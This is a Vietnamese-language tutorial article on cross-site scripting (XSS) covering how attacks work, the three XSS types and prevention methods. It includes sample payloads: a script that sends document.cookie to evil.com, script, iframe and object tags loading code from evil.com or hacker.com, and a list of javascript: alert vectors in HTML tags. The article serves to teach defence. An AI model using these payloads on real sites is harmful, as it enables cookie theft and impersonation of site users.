Kiến thức cơ bản về Cross-Site Scripting (XSS): lỗ hổng thú vị mới của hacker

Trong nhiều năm, lỗ hổng tràn bộ đệm là đích nhắm thú vị của những kẻ tấn công trực tuyến. Nhưng đến nay, cross-site scipting mới là thủ phạm lớn nhất gây ra các vụ phá hoại hệ thống.

Cross-site scripting (XSS) là một kiểu tấn công bảo mật trong đó kẻ tấn công đưa các tập lệnh độc hại vào phần nội dung của các trang web đáng tin cậy khác. Tấn công Cross-site scripting xảy ra khi một nguồn không đáng tin cậy được phép đưa code của chính nó vào một ứng dụng web và mã độc đó được bao gồm trong nội dung gửi đến trình duyệt của nạn nhân.

XSS là một trong những lỗ hổng ứng dụng web phổ biến nhất và xảy ra khi một ứng dụng web sử dụng đầu vào từ người dùng không được xác thực hoặc không được mã hóa trong đầu ra mà nó tạo ra.

Bằng cách tận dụng XSS, kẻ tấn công không nhắm trực tiếp vào nạn nhân. Thay vào đó, kẻ tấn công sẽ khai thác lỗ hổng trong trang web hoặc ứng dụng web mà nạn nhân sẽ truy cập.

Mặc dù XSS có thể tận dụng lợi thế trong VBScript, ActiveX và Flash (hiện được coi là cũ hoặc thậm chí lỗi thời), nhưng phổ biến nhất vẫn là JavaScript - chủ yếu vì JavaScript là nền tảng cho hầu hết các trải nghiệm duyệt web.

Cách thức hoạt động của Cross-site Scripting

Để chạy code JavaScript độc hại trong trình duyệt của nạn nhân, trước tiên, kẻ tấn công phải tìm cách truyền payload vào trang web mà nạn nhân truy cập. Tất nhiên, kẻ tấn công có thể sử dụng các kỹ thuật social engineering để thuyết phục người dùng truy cập trang đã bị tấn công đó.

Để một cuộc tấn công XSS diễn ra, trang web bị tấn công cần trực tiếp bao gồm đầu vào của người dùng trong các trang của mình. Kẻ tấn công sau đó có thể chèn một chuỗi sẽ được sử dụng trong trang web và được xử lý dưới dạng code bởi trình duyệt nạn nhân.

Mã giả phía máy chủ (server-side pseudo-code) này được sử dụng để hiển thị bình luận gần đây nhất trên trang web:

print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"

Tập lệnh sẽ in ra bình luận mới nhất từ ​​cơ sở dữ liệu và in nội dung ra trang HTML, giả sử rằng bình luận được in ra chỉ bao gồm phần văn bản.

Trang trên dễ bị tấn công bởi XSS vì kẻ tấn công có thể gửi nhận xét có chứa payload độc hại, chẳng hạn như <script>doSomethingEvil();</script>.

Người dùng truy cập trang web sẽ được hiển thị trang HTML sau.

<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>

Khi trang load trong trình duyệt của nạn nhân, tập lệnh độc hại của kẻ tấn công sẽ thực thi, mà người đó không hề hay biết và cũng không thể ngăn chặn cuộc tấn công này.

Lưu ý quan trọng - Lỗ hổng XSS chỉ có thể tồn tại nếu payload (tập lệnh độc hại) mà kẻ tấn công chèn được phân tích (thành HTML trong trường hợp này) trong trình duyệt của nạn nhân.

Điều tệ nhất mà kẻ tấn công có thể làm với JavaScript là gì?

Hậu quả mà những gì kẻ tấn công có thể thực hiện với khả năng thực thi JavaScript trên trang web có thể không dễ nhận thấy ngay, đặc biệt là khi các trình duyệt chạy JavaScript trong môi trường được kiểm soát rất chặt chẽ và JavaScript đã giới hạn quyền truy cập vào hệ điều hành và các file của người dùng.

Tuy nhiên, khi xem xét các phần JavaScript có quyền truy cập, những điều kẻ tấn công có thể làm với JavaScript sẽ trở nên rõ ràng hơn:

  • JavaScript độc hại có quyền truy cập vào tất cả các đối tượng giống nhau trong phần còn lại của trang web, bao gồm quyền truy cập vào cookie. Cookie thường được sử dụng để lưu trữ mã token phiên, nếu kẻ tấn công có thể lấy cookie phiên của người dùng, chúng có thể mạo danh người đó.
  • JavaScript có thể đọc và thực hiện các sửa đổi tùy ý đối với DOM của trình duyệt (trong trang mà JavaScript đang chạy).
  • JavaScript có thể sử dụng XMLHttpRequest để gửi các yêu cầu HTTP có nội dung tùy ý đến các đích khác nhau.
  • JavaScript trong các trình duyệt hiện đại có thể tận dụng các API HTML5 để truy cập vị trí địa lý, webcam, micro và thậm chí các file cụ thể từ hệ thống file của người dùng. Mặc dù hầu hết các API này yêu cầu người dùng chấp nhận, nhưng XSS kết hợp với một số kỹ thuật social engineering thông minh có thể mang lại cho kẻ tấn công nhiều lợi thế.

XSS, kết hợp với social engineering, cho phép kẻ tấn công thực hiện các cuộc tấn công nguy hiểm hơn, bao gồm lấy cắp cookie, keylogging, phishing và lấy cắp danh tính.

Cross-site scripting không phải là vấn đề của người dùng?

Nếu kẻ tấn công có thể lợi dụng lỗ hổng XSS trên trang web để thực thi JavaScript tùy ý trong trình duyệt của khách truy cập, thì bảo mật của trang web, ứng dụng web đó, cũng như người dùng của nó đã gặp nguy hiểm. XSS không phải là vấn đề của người dùng, như mọi lỗ hổng bảo mật khác. Nếu nó ảnh hưởng đến người dùng của một trang web, thì tức là nó sẽ ảnh hưởng đến chính trang web đó.

Phân tích chi tiết một cuộc tấn công Cross-site scripting

Một cuộc tấn công XSS cần ba “diễn viên” - trang web, nạn nhân và kẻ tấn công.

Trong ví dụ dưới đây, có thể giả định rằng mục tiêu của kẻ tấn công là mạo danh nạn nhân bằng cách ăn cắp cookie của người đó. Việc gửi cookie đến máy chủ của kẻ tấn công có thể thực hiện bằng nhiều cách khác nhau. Một trong số đó là để kẻ tấn công thực thi code JavaScript sau trong trình duyệt của nạn nhân thông qua lỗ hổng XSS.

<script>
window.location=“http://evil.com/?cookie=” + document.cookie
</script>

Hình dưới đây minh họa hướng dẫn từng bước của một cuộc tấn công XSS đơn giản.

Các bước tấn công

1. Kẻ tấn công truyền một payload vào cơ sở dữ liệu của trang web bằng cách gửi một biểu mẫu kèm theo một số JavaScript độc hại.

2. Nạn nhân gửi yêu cầu đến trang web.

3. Trang web hiển thị trên trình duyệt của nạn nhân với một phần nội dung HTML chứa payload của kẻ tấn công.

4. Trình duyệt của nạn nhân sẽ thực thi tập lệnh độc hại bên trong HTML. Trong trường hợp này, nó sẽ gửi cookie của nạn nhân đến máy chủ của kẻ tấn công. Kẻ tấn công bây giờ chỉ cần trích xuất cookie của nạn nhân khi yêu cầu HTTP chuyển đến máy chủ, sau đó kẻ tấn công có thể sử dụng cookie đánh cắp được để mạo danh nạn nhân.

Một số ví dụ về vectơ tấn công Cross-site Scripting

Sau đây là danh sách (không đầy đủ) các vectơ tấn công XSS mà kẻ tấn công có thể sử dụng để xâm phạm bảo mật của trang web hoặc ứng dụng web thông qua một cuộc tấn công XSS.

Vector tấn công

Thẻ <script>

Thẻ <script> là payload XSS đơn giản nhất. Thẻ script có thể tham chiếu code JavaScript bên ngoài hoặc nhúng code trong thẻ script.

<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>

Thẻ <body>

Payload XSS có thể được phân phối bên trong thẻ <body> bằng cách sử dụng thuộc tính onload hoặc các thuộc tính khác như thuộc tính background.

<!-- onload attribute -->
<body onload=alert("XSS")>
<!-- background attribute -->
<body background="javascript:alert("XSS")">

Thẻ <img>

Một số trình duyệt sẽ thực thi JavaScript được tìm thấy trong <img>.

<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!-- tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

Thẻ <iframe>

Thẻ <iframe> cho phép nhúng một trang HTML khác vào trang nguồn. Tuy nhiên, iFrame có thể chứa JavaScript. Điều quan trọng cần lưu ý là JavaScript trong iFrame không có quyền truy cập vào DOM của trang nguồn do chính sách bảo mật nội dung (Content Security Policy - CSP) của trình duyệt. Tuy nhiên, iFrames vẫn là phương tiện rất hiệu quả để loại bỏ các cuộc tấn công Phishing.

<!-- <iframe> tag XSS -->
<iframe src=”http://evil.com/xss.html”>

Thẻ <input>

Trong một số trình duyệt, nếu thuộc tính type của thẻ <input> được đặt thành image, nó có thể được thao tác để nhúng tập lệnh.

<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">

Thẻ <link>

Thẻ <link>, thường được sử dụng để liên kết đến các biểu định kiểu bên ngoài, có thể chứa tập lệnh.

<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">

Thẻ <table>

Thuộc tính background của thẻ table và thẻ td có thể được khai thác để tham chiếu đến tập lệnh thay vì hình ảnh.

<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">

Thẻ <div>

Thẻ <div>, tương tự như thẻ <table> và <td> cũng có thể chỉ định một background và do đó được nhúng tập lệnh.

<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">

Thẻ <object>

Thẻ <object> có thể được sử dụng để đưa một trang bên ngoài vào tập lệnh.

<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">

Các loại lỗ hổng XSS

Các loại lỗ hổng XSS

Có ba loại lỗ hổng Cross-site scripting: Stored XSS, Reflected XSS và DOM-based XSS.

- Stored XSS là loại tấn công cross-site scripting gây thiệt hại nhiều nhất. Kẻ tấn công truyền một tập lệnh - còn được gọi là payload - được lưu trữ vĩnh viễn trên ứng dụng đích, chẳng hạn như cơ sở dữ liệu. Ví dụ, kẻ tấn công chèn một đoạn mã độc trên blog, trong một bài đăng trên diễn đàn hoặc trong trường bình luận.

Lúc này Payload XSS sẽ đóng vai trò như một phần của trang web khi nạn nhân điều hướng đến trang web bị ảnh hưởng trong trình duyệt. Khi nạn nhân xem trang trên trình duyệt sẽ vô tình thực thi tập lệnh độc hại.

- Reflected XSS là loại lỗ hổng cross-site scripting phổ biến nhất. Trong kiểu tấn công này, kẻ tấn công phải chuyển payload cho nạn nhân. Do đó, tập lệnh payload của kẻ tấn công phải là một phần của yêu cầu được gửi đến máy chủ web và được phản chiếu lại để phản hồi HTTP, bao gồm payload từ yêu cầu HTTP.

Kẻ tấn công sử dụng email phishing và các phương pháp social engineering khác để dụ nạn nhân đưa ra yêu cầu đến máy chủ có chứa payload XSS. Nạn nhân sau đó thực thi tập lệnh độc hại bên trong trình duyệt. Vì Reflected XSS không phải là một cuộc tấn công liên tục, nên kẻ tấn công phải cung cấp payload cho mỗi nạn nhân.

- DOM-based cross-site scripting là loại tấn công XSS nâng cao, có thể thực hiện được khi tập lệnh phía máy khách của ứng dụng web ghi dữ liệu do người dùng cung cấp vào Document Object Model (DOM).

Sau đó, ứng dụng web sẽ đọc dữ liệu từ DOM và gửi nó đến trình duyệt. Nếu dữ liệu không được xử lý chính xác, kẻ tấn công có thể đưa ra payload được lưu trữ như một phần của DOM. Payload sau đó sẽ thực thi khi dữ liệu được đọc lại từ DOM.

Phương pháp ngăn chặn Cross-site scripting

Cách ngăn chặn

Sau đây là những phương pháp phổ biến nhất để ngăn chặn Cross-site scripting:

  • Escape đầu vào của người dùng là một cách để ngăn các lỗ hổng XSS xuất hiện trong các ứng dụng. Điều này có nghĩa là lấy dữ liệu mà ứng dụng đã nhận được và đảm bảo an toàn trước khi hiển thị nó cho người dùng. Escape input từ người dùng sẽ khiến các ký tự quan trọng trong dữ liệu mà trang web nhận được không bị hiểu là mã thực thi. Nhờ đó ngăn trình duyệt diễn giải các ký tự được sử dụng để báo hiệu bắt đầu hoặc kết thúc mã thực thi và dịch chúng thành "escaped". Ví dụ, các ký tự như dấu ngoặc kép, dấu ngoặc đơn, dấu ngoặc vuông và một số dấu chấm câu khác đôi khi được sử dụng để làm nổi bật mã thực thi. Escape các ký tự này có nghĩa là chuyển đổi chúng từ các ký tự đơn thành các chuỗi khi trình duyệt biên dịch.
  • Sàng lọc đầu vào của người dùng là một cách khác để ngăn chặn các cuộc tấn công Cross-site scripting, đặc biệt hữu ích trên các trang web cho phép HTML markup. Phương pháp ngăn chặn này sẽ xóa sạch dữ liệu chứa các ký tự có khả năng thực thi, thay đổi đầu vào người dùng thành định dạng có thể chấp nhận và đảm bảo dữ liệu nhận được không thể được hiểu là mã thực thi.
  • Xác thực đầu vào đảm bảo việc ứng dụng hiển thị dữ liệu chính xác và ngăn dữ liệu độc hại gây hại cho trang web, cơ sở dữ liệu và người dùng. Xác thực đầu vào giúp ngăn XSS trong các biểu mẫu vì nó ngăn người dùng thêm các ký tự đặc biệt vào các trường nhập dữ liệu trang web bằng cách từ chối yêu cầu. Xác thực đầu vào giúp giảm khả năng gây ảnh hưởng tiêu cực, nếu kẻ tấn công phát hiện ra một lỗ hổng XSS ở đâu đó.

Xem thêm:

Chủ Nhật, 26/04/2020 15:35
59 👨 15.569
1 Bình luận
Sắp xếp theo
  • Văn Thành
    Văn Thành hi ad,hiện tại website của mình bị hacker tấn công xss, hiển thị box javascript "Hello" ad tư vấn dùm mình cách khắc phục với ạ
    Thích Phản hồi 30/06/20
    • Quantrimang.com
      Quantrimang.com Họ ko gửi cho bạn email hay phương thức nào để liên hệ à? Bạn đã xác định được lỗ hổng xss nằm ở đâu chưa?
      Thích Phản hồi 30/06/20
❖ Bảo mật máy tính